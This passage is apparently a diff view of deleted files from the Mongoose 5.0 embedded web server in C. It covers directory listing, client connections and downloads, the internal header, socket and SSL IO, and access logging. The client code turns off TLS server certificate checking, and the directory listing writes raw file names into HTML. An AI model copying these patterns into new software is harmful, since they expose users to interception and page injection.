mg_snprintf(size, sizeof(size), "%s", "[DIRECTORY]");
} else {
// We use (signed) cast below because MSVC 6 compiler cannot
// convert unsigned __int64 to double. Sigh.
if (de->file.size < 1024) {
mg_snprintf(size, sizeof(size), "%d", (int) de->file.size);
} else if (de->file.size < 0x100000) {
mg_snprintf(size, sizeof(size),
"%.1fk", (double) de->file.size / 1024.0);
} else if (de->file.size < 0x40000000) {
mg_snprintf(size, sizeof(size),
"%.1fM", (double) de->file.size / 1048576);
} else {
mg_snprintf(size, sizeof(size),
"%.1fG", (double) de->file.size / 1073741824);
}
}
strftime(mod, sizeof(mod), "%d-%b-%Y %H:%M",
localtime(&de->file.modification_time));
mg_url_encode(de->file_name, href, sizeof(href));
de->conn->num_bytes_sent += mg_chunked_printf(de->conn,
"<tr><td><a href=\"%s%s%s\">%s%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
de->conn->request_info.uri, href, slash, de->file_name, slash, mod, size);
}
// This function is called from send_directory() and used for
// sorting directory entries by size, or name, or modification time.
// On windows, __cdecl specification is needed in case if project is built
// with __stdcall convention. qsort always requires __cdels callback.
static int WINCDECL compare_dir_entries(const void *p1, const void *p2) {
const struct de *a = (const struct de *) p1, *b = (const struct de *) p2;
const char *query_string = a->conn->request_info.query_string;
int cmp_result = 0;
if (query_string == NULL) {
query_string = "na";
}
if (a->file.is_directory && !b->file.is_directory) {
return -1; // Always put directories on top
} else if (!a->file.is_directory && b->file.is_directory) {
return 1; // Always put directories on top
} else if (*query_string == 'n') {
cmp_result = strcmp(a->file_name, b->file_name);
} else if (*query_string == 's') {
cmp_result = a->file.size == b->file.size ? 0 :
a->file.size > b->file.size ? 1 : -1;
} else if (*query_string == 'd') {
cmp_result = a->file.modification_time == b->file.modification_time ? 0 :
a->file.modification_time > b->file.modification_time ? 1 : -1;
}
return query_string[1] == 'd' ? -cmp_result : cmp_result;
}
static int must_hide_file(struct mg_connection *conn, const char *path) {
const char *pw_pattern = "**" PASSWORDS_FILE_NAME "$";
const char *pattern = conn->ctx->config[HIDE_FILES];
return match_prefix(pw_pattern, strlen(pw_pattern), path) > 0 ||
(pattern != NULL && match_prefix(pattern, strlen(pattern), path) > 0);
}
static int scan_directory(struct mg_connection *conn, const char *dir,
void *data, void (*cb)(struct de *, void *)) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir and hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..") ||
must_hide_file(conn, dp->d_name)) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
de.file_name = dp->d_name;
cb(&de, data);
}
(void) closedir(dirp);
}
return 1;
}
static int remove_directory(struct mg_connection *conn, const char *dir) {
char path[PATH_MAX];
struct dirent *dp;
DIR *dirp;
struct de de;
if ((dirp = opendir(dir)) == NULL) {
return 0;
} else {
de.conn = conn;
while ((dp = readdir(dirp)) != NULL) {
// Do not show current dir, but show hidden files
if (!strcmp(dp->d_name, ".") ||
!strcmp(dp->d_name, "..")) {
continue;
}
mg_snprintf(path, sizeof(path), "%s%c%s", dir, '/', dp->d_name);
// If we don't memset stat structure to zero, mtime will have
// garbage and strftime() will segfault later on in
// print_dir_entry(). memset is required only if mg_stat()
// fails. For more details, see
// http://code.google.com/p/mongoose/issues/detail?id=79
memset(&de.file, 0, sizeof(de.file));
mg_stat(path, &de.file);
if(de.file.modification_time) {
if(de.file.is_directory) {
remove_directory(conn, path);
} else {
mg_remove(path);
}
}
}
(void) closedir(dirp);
rmdir(dir);
}
return 1;
}
struct dir_scan_data {
struct de *entries;
int num_entries;
int arr_size;
};
// Behaves like realloc(), but frees original pointer on failure
static void *realloc2(void *ptr, size_t size) {
void *new_ptr = realloc(ptr, size);
if (new_ptr == NULL) {
free(ptr);
}
return new_ptr;
}
static void dir_scan_callback(struct de *de, void *data) {
struct dir_scan_data *dsd = (struct dir_scan_data *) data;
if (dsd->entries == NULL || dsd->num_entries >= dsd->arr_size) {
dsd->arr_size *= 2;
dsd->entries = (struct de *) realloc2(dsd->entries, dsd->arr_size *
sizeof(dsd->entries[0]));
}
if (dsd->entries == NULL) {
// TODO(lsm): propagate an error to the caller
dsd->num_entries = 0;
} else {
dsd->entries[dsd->num_entries].file_name = mg_strdup(de->file_name);
dsd->entries[dsd->num_entries].file = de->file;
dsd->entries[dsd->num_entries].conn = de->conn;
dsd->num_entries++;
}
}
static void handle_directory_request(struct mg_connection *conn,
const char *dir) {
int i, sort_direction;
struct dir_scan_data data = { NULL, 0, 128 };
if (!scan_directory(conn, dir, &data, dir_scan_callback)) {
send_http_error(conn, 500, "Cannot open directory",
"Error: opendir(%s): %s", dir, strerror(ERRNO));
return;
}
sort_direction = conn->request_info.query_string != NULL &&
conn->request_info.query_string[1] == 'd' ? 'a' : 'd';
conn->must_close = 1;
mg_printf(conn, "%s",
"HTTP/1.1 200 OK\r\n"
"Transfer-Encoding: Chunked\r\n"
"Content-Type: text/html; charset=utf-8\r\n\r\n");
conn->num_bytes_sent += mg_chunked_printf(conn,
"<html><head><title>Index of %s</title>"
"<style>th {text-align: left;}</style></head>"
"<body><h1>Index of %s</h1><pre><table cellpadding=\"0\">"
"<tr><th><a href=\"?n%c\">Name</a></th>"
"<th><a href=\"?d%c\">Modified</a></th>"
"<th><a href=\"?s%c\">Size</a></th></tr>"
"<tr><td colspan=\"3\"><hr></td></tr>",
conn->request_info.uri, conn->request_info.uri,
sort_direction, sort_direction, sort_direction);
// Print first entry - link to a parent directory
conn->num_bytes_sent += mg_chunked_printf(conn,
"<tr><td><a href=\"%s%s\">%s</a></td>"
"<td>&nbsp;%s</td><td>&nbsp;&nbsp;%s</td></tr>\n",
conn->request_info.uri, "..", "Parent directory", "-", "-");
// Sort and print directory entries
qsort(data.entries, (size_t) data.num_entries, sizeof(data.entries[0]),
compare_dir_entries);
for (i = 0; i < data.num_entries; i++) {
print_dir_entry(&data.entries[i]);
free(data.entries[i].file_name);
}
free(data.entries);
conn->num_bytes_sent += mg_chunked_printf(conn, "%s",
"</table></body></html>");
conn->num_bytes_sent += mg_write(conn, "0\r\n\r\n", 5);
conn->status_code = 200;
}
// For a given PUT path, create all intermediate subdirectories
// for given path. Return 0 if the path itself is a directory,
// or -1 on error, 1 if OK.
static int put_dir(const char *path) {
char buf[PATH_MAX];
const char *s, *p;
struct file file = STRUCT_FILE_INITIALIZER;
int len, res = 1;
for (s = p = path + 2; (p = strchr(s, '/')) != NULL; s = ++p) {
len = p - path;
if (len >= (int) sizeof(buf)) {
res = -1;
break;
}
memcpy(buf, path, len);
buf[len] = '\0';
// Try to create intermediate directory
DEBUG_TRACE(("mkdir(%s)", buf));
if (!mg_stat(buf, &file) && mg_mkdir(buf, 0755) != 0) {
res = -1;
break;
}
// Is path itself a directory?
if (p[1] == '\0') {
res = 0;
}
}
return res;
}
-97
View File
@@ -1,97 +0,0 @@
#include "internal.h"
static SOCKET conn2(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
struct sockaddr_in sin;
struct hostent *he = NULL;
SOCKET sock = INVALID_SOCKET;
(void) use_ssl; // Prevent warning for -DNO_SSL case
if (host == NULL) {
snprintf(ebuf, ebuf_len, "%s", "NULL host");
#ifndef NO_SSL
} else if (use_ssl && SSLv23_client_method == NULL) {
snprintf(ebuf, ebuf_len, "%s", "SSL is not initialized");
// TODO(lsm): use something threadsafe instead of gethostbyname()
#endif
} else if ((he = gethostbyname(host)) == NULL) {
snprintf(ebuf, ebuf_len, "gethostbyname(%s): %s", host, strerror(ERRNO));
} else if ((sock = socket(PF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) {
snprintf(ebuf, ebuf_len, "socket(): %s", strerror(ERRNO));
} else {
set_close_on_exec(sock);
sin.sin_family = AF_INET;
sin.sin_port = htons((uint16_t) port);
sin.sin_addr = * (struct in_addr *) he->h_addr_list[0];
if (connect(sock, (struct sockaddr *) &sin, sizeof(sin)) != 0) {
snprintf(ebuf, ebuf_len, "connect(%s:%d): %s",
host, port, strerror(ERRNO));
closesocket(sock);
sock = INVALID_SOCKET;
}
}
return sock;
}
struct mg_connection *mg_connect(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len) {
static struct mg_context fake_ctx;
struct mg_connection *conn = NULL;
SOCKET sock;
if ((sock = conn2(host, port, use_ssl, ebuf, ebuf_len)) == INVALID_SOCKET) {
} else if ((conn = (struct mg_connection *)
calloc(1, sizeof(*conn) + MAX_REQUEST_SIZE)) == NULL) {
snprintf(ebuf, ebuf_len, "calloc(): %s", strerror(ERRNO));
closesocket(sock);
#ifndef NO_SSL
} else if (use_ssl && (conn->client_ssl_ctx =
SSL_CTX_new(SSLv23_client_method())) == NULL) {
snprintf(ebuf, ebuf_len, "SSL_CTX_new error");
closesocket(sock);
free(conn);
conn = NULL;
#endif // NO_SSL
} else {
socklen_t len = sizeof(struct sockaddr);
conn->buf_size = MAX_REQUEST_SIZE;
conn->buf = (char *) (conn + 1);
conn->ctx = &fake_ctx;
conn->client.sock = sock;
getsockname(sock, &conn->client.rsa.sa, &len);
conn->client.is_ssl = use_ssl;
#ifndef NO_SSL
if (use_ssl) {
// SSL_CTX_set_verify call is needed to switch off server certificate
// checking, which is off by default in OpenSSL and on in yaSSL.
SSL_CTX_set_verify(conn->client_ssl_ctx, 0, 0);
sslize(conn, conn->client_ssl_ctx, SSL_connect);
}
#endif
}
return conn;
}
struct mg_connection *mg_download(const char *host, int port, int use_ssl,
char *ebuf, size_t ebuf_len,
const char *fmt, ...) {
struct mg_connection *conn;
const char *msg = NULL;
va_list ap;
va_start(ap, fmt);
if ((conn = mg_connect(host, port, use_ssl, ebuf, ebuf_len)) == NULL) {
} else if (mg_vprintf(conn, fmt, ap) <= 0) {
snprintf(ebuf, ebuf_len, "%s", "Error sending request");
} else {
msg = getreq(conn);
}
if (msg != NULL && conn != NULL) {
mg_close_connection(conn);
conn = NULL;
}
return conn;
}
-458
View File
@@ -1,458 +0,0 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited
// All rights reserved
//
// This library is dual-licensed: you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation. For the terms of this
// license, see <http://www.gnu.org/licenses/>.
//
// You are free to use this library under the terms of the GNU General
// Public License, but WITHOUT ANY WARRANTY; without even the implied
// warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
// See the GNU General Public License for more details.
//
// Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>.
#if defined(_WIN32)
#undef _UNICODE
#define _MBCS
#if !defined(_CRT_SECURE_NO_WARNINGS)
#define _CRT_SECURE_NO_WARNINGS // Disable deprecation warning in VS2005
#endif
#else
#ifdef __linux__
#define _XOPEN_SOURCE 600 // For flockfile() on Linux
#endif
#if !defined(_LARGEFILE_SOURCE)
#define _LARGEFILE_SOURCE // Enable 64-bit file offsets
#endif
#define __STDC_FORMAT_MACROS // <inttypes.h> wants this for C++
#define __STDC_LIMIT_MACROS // C++ wants that for INT64_MAX
#endif
#if defined (_MSC_VER)
// conditional expression is constant: introduced by FD_SET(..)
#pragma warning (disable : 4127)
// non-constant aggregate initializer: issued due to missing C99 support
#pragma warning (disable : 4204)
#endif
// Disable WIN32_LEAN_AND_MEAN.
// This makes windows.h always include winsock2.h
#ifdef WIN32_LEAN_AND_MEAN
#undef WIN32_LEAN_AND_MEAN
#endif
#ifndef _WIN32_WCE // Some ANSI #includes are not available on Windows CE
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <signal.h>
#include <fcntl.h>
#endif // !_WIN32_WCE
#include <time.h>
#include <stdlib.h>
#include <stdarg.h>
#include <assert.h>
#include <string.h>
#include <ctype.h>
#include <limits.h>
#include <stddef.h>
#include <stdio.h>
#if defined(_WIN32) // Windows specific
#undef _WIN32_WINNT
#define _WIN32_WINNT 0x0400 // To make it link in VS2005
#include <windows.h>
#ifndef PATH_MAX
#define PATH_MAX MAX_PATH
#endif
#ifndef _WIN32_WCE
#include <process.h>
#include <direct.h>
#include <io.h>
#else // _WIN32_WCE
#define NO_CGI // WinCE has no pipes
typedef long off_t;
#define errno GetLastError()
#define strerror(x) _ultoa(x, (char *) _alloca(sizeof(x) *3 ), 10)
#endif // _WIN32_WCE
#define MAKEUQUAD(lo, hi) ((uint64_t)(((uint32_t)(lo)) | \
((uint64_t)((uint32_t)(hi))) << 32))
#define RATE_DIFF 10000000 // 100 nsecs
#define EPOCH_DIFF MAKEUQUAD(0xd53e8000, 0x019db1de)
#define SYS2UNIX_TIME(lo, hi) \
(time_t) ((MAKEUQUAD((lo), (hi)) - EPOCH_DIFF) / RATE_DIFF)
// Visual Studio 6 does not know __func__ or __FUNCTION__
// The rest of MS compilers use __FUNCTION__, not C99 __func__
// Also use _strtoui64 on modern M$ compilers
#if defined(_MSC_VER) && _MSC_VER < 1300
#define STRX(x) #x
#define STR(x) STRX(x)
#define __func__ __FILE__ ":" STR(__LINE__)
#define strtoull(x, y, z) (unsigned __int64) _atoi64(x)
#define strtoll(x, y, z) _atoi64(x)
#else
#define __func__ __FUNCTION__
#define strtoull(x, y, z) _strtoui64(x, y, z)
#define strtoll(x, y, z) _strtoi64(x, y, z)
#endif // _MSC_VER
#define ERRNO GetLastError()
#define NO_SOCKLEN_T
#define SSL_LIB "ssleay32.dll"
#define CRYPTO_LIB "libeay32.dll"
#define O_NONBLOCK 0
#if !defined(EWOULDBLOCK)
#define EWOULDBLOCK WSAEWOULDBLOCK
#endif // !EWOULDBLOCK
#define _POSIX_
#define INT64_FMT "I64d"
#define WINCDECL __cdecl
#define SHUT_WR 1
#define snprintf _snprintf
#define vsnprintf _vsnprintf
#define mg_sleep(x) Sleep(x)
#define pipe(x) _pipe(x, MG_BUF_LEN, _O_BINARY)
#ifndef popen
#define popen(x, y) _popen(x, y)
#endif
#ifndef pclose
#define pclose(x) _pclose(x)
#endif
#define close(x) _close(x)
#define dlsym(x,y) GetProcAddress((HINSTANCE) (x), (y))
#define RTLD_LAZY 0
#define fseeko(x, y, z) _lseeki64(_fileno(x), (y), (z))
#define fdopen(x, y) _fdopen((x), (y))
#define write(x, y, z) _write((x), (y), (unsigned) z)
#define read(x, y, z) _read((x), (y), (unsigned) z)
#define flockfile(x)
#define funlockfile(x)
#define sleep(x) Sleep((x) * 1000)
#define rmdir(x) _rmdir(x)
#if !defined(va_copy)
#define va_copy(x, y) x = y
#endif // !va_copy MINGW #defines va_copy
#if !defined(fileno)
#define fileno(x) _fileno(x)
#endif // !fileno MINGW #defines fileno
typedef HANDLE pthread_mutex_t;
typedef DWORD pthread_t;
#define pid_t HANDLE // MINGW typedefs pid_t to int. Using #define here.
static int pthread_mutex_lock(pthread_mutex_t *);
static int pthread_mutex_unlock(pthread_mutex_t *);
static void to_unicode(const char *path, wchar_t *wbuf, size_t wbuf_len);
#if defined(HAVE_STDINT)
#include <stdint.h>
#else
typedef unsigned int uint32_t;
typedef unsigned short uint16_t;
typedef unsigned __int64 uint64_t;
typedef __int64 int64_t;
#define INT64_MAX 9223372036854775807
#endif // HAVE_STDINT
// POSIX dirent interface
struct dirent {
char d_name[PATH_MAX];
};
typedef struct DIR {
HANDLE handle;
WIN32_FIND_DATAW info;
struct dirent result;
} DIR;
struct pollfd {
SOCKET fd;
short events;
short revents;
};
#define POLLIN 1
#ifdef HAVE_POLL
#define poll(x, y, z) WSAPoll((x), (y), (z))
#endif
// Mark required libraries
#ifdef _MSC_VER
#pragma comment(lib, "Ws2_32.lib")
#endif
#else // UNIX specific
#include <sys/wait.h>
#include <sys/socket.h>
#include <sys/poll.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/time.h>
#include <stdint.h>
#include <inttypes.h>
#include <netdb.h>
#include <pwd.h>
#include <unistd.h>
#include <dirent.h>
#if !defined(NO_SSL_DL) && !defined(NO_SSL)
#include <dlfcn.h>
#endif
#include <pthread.h>
#if defined(__MACH__)
#define SSL_LIB "libssl.dylib"
#define CRYPTO_LIB "libcrypto.dylib"
#else
#if !defined(SSL_LIB)
#define SSL_LIB "libssl.so"
#endif
#if !defined(CRYPTO_LIB)
#define CRYPTO_LIB "libcrypto.so"
#endif
#endif
#ifndef O_BINARY
#define O_BINARY 0
#endif // O_BINARY
#define closesocket(a) close(a)
#define mg_mkdir(x, y) mkdir(x, y)
#define mg_remove(x) remove(x)
#define mg_sleep(x) usleep((x) * 1000)
#define ERRNO errno
#define INVALID_SOCKET (-1)
#define INT64_FMT PRId64
typedef int SOCKET;
#define WINCDECL
#endif // End of Windows and UNIX specific includes
#include "mongoose.h"
#define MONGOOSE_VERSION "5.0"
#define PASSWORDS_FILE_NAME ".htpasswd"
#define CGI_ENVIRONMENT_SIZE 4096
#define MAX_CGI_ENVIR_VARS 64
#define MG_BUF_LEN 8192
#define MAX_REQUEST_SIZE 16384
#define ARRAY_SIZE(array) (sizeof(array) / sizeof(array[0]))
typedef SOCKET sock_t;
#ifdef DEBUG_TRACE
#undef DEBUG_TRACE
#define DEBUG_TRACE(x)
#else
#if defined(DEBUG)
#define DEBUG_TRACE(x) do { \
flockfile(stdout); \
printf("*** %lu.%p.%s.%d: ", \
(unsigned long) time(NULL), (void *) pthread_self(), \
__func__, __LINE__); \
printf x; \
putchar('\n'); \
fflush(stdout); \
funlockfile(stdout); \
} while (0)
#else
#define DEBUG_TRACE(x)
#endif // DEBUG
#endif // DEBUG_TRACE
// Darwin prior to 7.0 and Win32 do not have socklen_t
#ifdef NO_SOCKLEN_T
typedef int socklen_t;
#endif // NO_SOCKLEN_T
#define _DARWIN_UNLIMITED_SELECT
#define IP_ADDR_STR_LEN 50 // IPv6 hex string is 46 chars
#if !defined(MSG_NOSIGNAL)
#define MSG_NOSIGNAL 0
#endif
#if !defined(SOMAXCONN)
#define SOMAXCONN 100
#endif
#if !defined(PATH_MAX)
#define PATH_MAX 4096
#endif
// Size of the accepted socket queue
#if !defined(MGSQLEN)
#define MGSQLEN 20
#endif
// Extra HTTP headers to send in every static file reply
#if !defined(EXTRA_HTTP_HEADERS)
#define EXTRA_HTTP_HEADERS ""
#endif
static const char *http_500_error = "Internal Server Error";
#if defined(NO_SSL_DL)
#include <openssl/ssl.h>
#include <openssl/err.h>
#else
// SSL loaded dynamically from DLL.
// I put the prototypes here to be independent from OpenSSL source installation.
typedef struct ssl_st SSL;
typedef struct ssl_method_st SSL_METHOD;
typedef struct ssl_ctx_st SSL_CTX;
struct ssl_func {
const char *name; // SSL function name
void (*ptr)(void); // Function pointer
};
#define SSL_free (* (void (*)(SSL *)) ssl_sw[0].ptr)
#define SSL_accept (* (int (*)(SSL *)) ssl_sw[1].ptr)
#define SSL_connect (* (int (*)(SSL *)) ssl_sw[2].ptr)
#define SSL_read (* (int (*)(SSL *, void *, int)) ssl_sw[3].ptr)
#define SSL_write (* (int (*)(SSL *, const void *,int)) ssl_sw[4].ptr)
#define SSL_get_error (* (int (*)(SSL *, int)) ssl_sw[5].ptr)
#define SSL_set_fd (* (int (*)(SSL *, SOCKET)) ssl_sw[6].ptr)
#define SSL_new (* (SSL * (*)(SSL_CTX *)) ssl_sw[7].ptr)
#define SSL_CTX_new (* (SSL_CTX * (*)(SSL_METHOD *)) ssl_sw[8].ptr)
#define SSLv23_server_method (* (SSL_METHOD * (*)(void)) ssl_sw[9].ptr)
#define SSL_library_init (* (int (*)(void)) ssl_sw[10].ptr)
#define SSL_CTX_use_PrivateKey_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[11].ptr)
#define SSL_CTX_use_certificate_file (* (int (*)(SSL_CTX *, \
const char *, int)) ssl_sw[12].ptr)
#define SSL_CTX_set_default_passwd_cb \
(* (void (*)(SSL_CTX *, mg_event_handler_t)) ssl_sw[13].ptr)
#define SSL_CTX_free (* (void (*)(SSL_CTX *)) ssl_sw[14].ptr)
#define SSL_load_error_strings (* (void (*)(void)) ssl_sw[15].ptr)
#define SSL_CTX_use_certificate_chain_file \
(* (int (*)(SSL_CTX *, const char *)) ssl_sw[16].ptr)
#define SSLv23_client_method (* (SSL_METHOD * (*)(void)) ssl_sw[17].ptr)
#define SSL_pending (* (int (*)(SSL *)) ssl_sw[18].ptr)
#define SSL_CTX_set_verify (* (void (*)(SSL_CTX *, int, int)) ssl_sw[19].ptr)
#define SSL_shutdown (* (int (*)(SSL *)) ssl_sw[20].ptr)
#define CRYPTO_num_locks (* (int (*)(void)) crypto_sw[0].ptr)
#define CRYPTO_set_locking_callback \
(* (void (*)(void (*)(int, int, const char *, int))) crypto_sw[1].ptr)
#define CRYPTO_set_id_callback \
(* (void (*)(unsigned long (*)(void))) crypto_sw[2].ptr)
#define ERR_get_error (* (unsigned long (*)(void)) crypto_sw[3].ptr)
#define ERR_error_string (* (char * (*)(unsigned long,char *)) crypto_sw[4].ptr)
#endif // NO_SSL_DL
// Unified socket address. For IPv6 support, add IPv6 address structure
// in the union u.
union usa {
struct sockaddr sa;
struct sockaddr_in sin;
#if defined(USE_IPV6)
struct sockaddr_in6 sin6;
#endif
};
// Describes a string (chunk of memory).
struct vec {
const char *ptr;
size_t len;
};
struct file {
int is_directory;
time_t modification_time;
int64_t size;
// set to 1 if the content is gzipped
// in which case we need a content-encoding: gzip header
int gzipped;
};
#define STRUCT_FILE_INITIALIZER { 0, 0, 0, 0 }
// Describes listening socket, or socket which was accept()-ed by the master
// thread and queued for future handling by the worker thread.
struct socket {
SOCKET sock; // Listening socket
union usa lsa; // Local socket address
union usa rsa; // Remote socket address
unsigned is_ssl:1; // Is port SSL-ed
unsigned ssl_redir:1; // Is port supposed to redirect everything to SSL port
};
// NOTE(lsm): this enum shoulds be in sync with the config_options.
enum {
CGI_EXTENSIONS, CGI_ENVIRONMENT, PUT_DELETE_PASSWORDS_FILE, CGI_INTERPRETER,
PROTECT_URI, AUTHENTICATION_DOMAIN, SSI_EXTENSIONS,
ACCESS_LOG_FILE, ENABLE_DIRECTORY_LISTING, ERROR_LOG_FILE,
GLOBAL_PASSWORDS_FILE, INDEX_FILES, ENABLE_KEEP_ALIVE, ACCESS_CONTROL_LIST,
EXTRA_MIME_TYPES, LISTENING_PORTS, DOCUMENT_ROOT, SSL_CERTIFICATE,
NUM_THREADS, RUN_AS_USER, REWRITE, HIDE_FILES, REQUEST_TIMEOUT,
NUM_OPTIONS
};
struct mg_context {
volatile int stop_flag; // Should we stop event loop
SSL_CTX *ssl_ctx; // SSL context
char *config[NUM_OPTIONS]; // Mongoose configuration parameters
mg_event_handler_t event_handler; // User-defined callback function
void *user_data; // User-defined data
struct socket *listening_sockets;
int num_listening_sockets;
int num_threads; // Number of threads
sock_t ctl[2]; // Socket pair for inter-thread communication
};
struct mg_connection {
struct mg_request_info request_info;
struct mg_event event;
struct mg_context *ctx;
SSL *ssl; // SSL descriptor
SSL_CTX *client_ssl_ctx; // SSL context for client connections
struct socket client; // Connected client
time_t birth_time; // Time when request was received
int64_t num_bytes_sent; // Total bytes sent to client
int64_t content_len; // Content-Length header value
int64_t num_bytes_read; // Bytes read from a remote socket
char *buf; // Buffer for received data
char *path_info; // PATH_INFO part of the URL
int must_close; // 1 if connection must be closed
int buf_size; // Buffer size
int request_len; // Size of the request + headers in a buffer
int data_len; // Total size of data in a buffer
int status_code; // HTTP reply status code, e.g. 200
};
// Directory entry
struct de {
struct mg_connection *conn;
char *file_name;
struct file file;
};
static FILE *mg_fopen(const char *path, const char *mode);
static int mg_stat(const char *path, struct file *filep);
static void send_http_error(struct mg_connection *, int, const char *,
PRINTF_FORMAT_STRING(const char *fmt), ...)
PRINTF_ARGS(4, 5);
static void cry(struct mg_connection *conn,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
static const char *getreq(struct mg_connection *conn);
#ifdef USE_LUA
#include "lua_5.2.1.h"
static int handle_lsp_request(struct mg_connection *, const char *,
struct file *, struct lua_State *);
#endif
-187
View File
@@ -1,187 +0,0 @@
#include "internal.h"
// Return number of bytes left to read for this connection
static int64_t left_to_read(const struct mg_connection *conn) {
return conn->content_len + conn->request_len - conn->num_bytes_read;
}
// Write data to the IO channel - opened file descriptor, socket or SSL
// descriptor. Return number of bytes written.
static int64_t push(FILE *fp, SOCKET sock, SSL *ssl, const char *buf,
int64_t len) {
int64_t sent;
int n, k;
(void) ssl; // Get rid of warning
sent = 0;
while (sent < len) {
// How many bytes we send in this iteration
k = len - sent > INT_MAX ? INT_MAX : (int) (len - sent);
#if !defined(NO_SSL)
if (ssl != NULL) {
n = SSL_write(ssl, buf + sent, k);
} else
#endif
if (fp != NULL) {
n = (int) fwrite(buf + sent, 1, (size_t) k, fp);
if (ferror(fp))
n = -1;
} else {
n = send(sock, buf + sent, (size_t) k, MSG_NOSIGNAL);
}
if (n <= 0)
break;
sent += n;
}
return sent;
}
// Read from IO channel - opened file descriptor, socket, or SSL descriptor.
// Return negative value on error, or number of bytes read on success.
static int pull(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int nread;
if (len <= 0) return 0;
if (fp != NULL) {
// Use read() instead of fread(), because if we're reading from the CGI
// pipe, fread() may block until IO buffer is filled up. We cannot afford
// to block and must pass all read bytes immediately to the client.
nread = read(fileno(fp), buf, (size_t) len);
#ifndef NO_SSL
} else if (conn->ssl != NULL) {
nread = SSL_read(conn->ssl, buf, len);
#endif
} else {
nread = recv(conn->client.sock, buf, (size_t) len, 0);
}
if (nread > 0) {
conn->num_bytes_read += nread;
}
return conn->ctx->stop_flag ? -1 : nread;
}
static int pull_all(FILE *fp, struct mg_connection *conn, char *buf, int len) {
int n, nread = 0;
while (len > 0 && conn->ctx->stop_flag == 0) {
n = pull(fp, conn, buf + nread, len);
if (n < 0) {
nread = n; // Propagate the error
break;
} else if (n == 0) {
break; // No more data to read
} else {
nread += n;
len -= n;
}
}
return nread;
}
int mg_read(struct mg_connection *conn, void *buf, int len) {
int n, buffered_len, nread = 0;
int64_t left;
if (conn->content_len <= 0) {
return 0;
}
// conn->buf body
// |=================|==========|===============|
// |<--request_len-->| |
// |<-----------data_len------->| conn->buf + conn->buf_size
// First, check for data buffered in conn->buf by read_request().
if (len > 0 && (buffered_len = conn->data_len - conn->request_len) > 0) {
char *body = conn->buf + conn->request_len;
if (buffered_len > len) buffered_len = len;
if (buffered_len > conn->content_len) buffered_len = (int)conn->content_len;
memcpy(buf, body, (size_t) buffered_len);
memmove(body, body + buffered_len,
&conn->buf[conn->data_len] - &body[buffered_len]);
len -= buffered_len;
conn->data_len -= buffered_len;
nread += buffered_len;
}
// Read data from the socket.
if (len > 0 && (left = left_to_read(conn)) > 0) {
if (left < len) {
len = (int) left;
}
n = pull_all(NULL, conn, (char *) buf + nread, (int) len);
nread = n >= 0 ? nread + n : n;
}
return nread;
}
int mg_write(struct mg_connection *conn, const void *buf, int len) {
return (int) push(NULL, conn->client.sock, conn->ssl, (const char *) buf,
(int64_t) len);
}
// Keep reading the input (either opened file descriptor fd, or socket sock,
// or SSL descriptor ssl) into buffer buf, until \r\n\r\n appears in the
// buffer (which marks the end of HTTP request). Buffer buf may already
// have some data. The length of the data is stored in nread.
// Upon every read operation, increase nread by the number of bytes read.
static int read_request(FILE *fp, struct mg_connection *conn,
char *buf, int bufsiz, int *nread) {
int request_len, n = 0;
request_len = get_request_len(buf, *nread);
while (conn->ctx->stop_flag == 0 &&
*nread < bufsiz &&
request_len == 0 &&
(n = pull(fp, conn, buf + *nread, bufsiz - *nread)) > 0) {
*nread += n;
assert(*nread <= bufsiz);
request_len = get_request_len(buf, *nread);
}
return request_len <= 0 && n <= 0 ? -1 : request_len;
}
// Send len bytes from the opened file to the client.
static void send_file_data(struct mg_connection *conn, FILE *fp,
int64_t offset, int64_t len) {
char buf[MG_BUF_LEN];
int num_read, num_written, to_read;
// If offset is beyond file boundaries, don't send anything
if (offset > 0 && fseeko(fp, offset, SEEK_SET) != 0) {
return;
}
while (len > 0) {
// Calculate how much to read from the file in the buffer
to_read = sizeof(buf);
if ((int64_t) to_read > len) {
to_read = (int) len;
}
// Read from file, exit the loop on error
if ((num_read = fread(buf, 1, (size_t) to_read, fp)) <= 0) {
break;
}
// Send read bytes to the client, exit the loop on error
if ((num_written = mg_write(conn, buf, (size_t) num_read)) != num_read) {
break;
}
// Both read and were successful, adjust counters
conn->num_bytes_sent += num_written;
len -= num_written;
}
}
-44
View File
@@ -1,44 +0,0 @@
#include "internal.h"
static void log_header(const struct mg_connection *conn, const char *header,
FILE *fp) {
const char *header_value;
if ((header_value = mg_get_header(conn, header)) == NULL) {
(void) fprintf(fp, "%s", " -");
} else {
(void) fprintf(fp, " \"%s\"", header_value);
}
}
static void log_access(const struct mg_connection *conn) {
const struct mg_request_info *ri;
FILE *fp;
char date[64], src_addr[IP_ADDR_STR_LEN];
fp = conn->ctx->config[ACCESS_LOG_FILE] == NULL ? NULL :
fopen(conn->ctx->config[ACCESS_LOG_FILE], "a+");
if (fp == NULL)
return;
strftime(date, sizeof(date), "%d/%b/%Y:%H:%M:%S %z",
localtime(&conn->birth_time));
ri = &conn->request_info;
flockfile(fp);
sockaddr_to_string(src_addr, sizeof(src_addr), &conn->client.rsa);
fprintf(fp, "%s - %s [%s] \"%s %s HTTP/%s\" %d %" INT64_FMT,
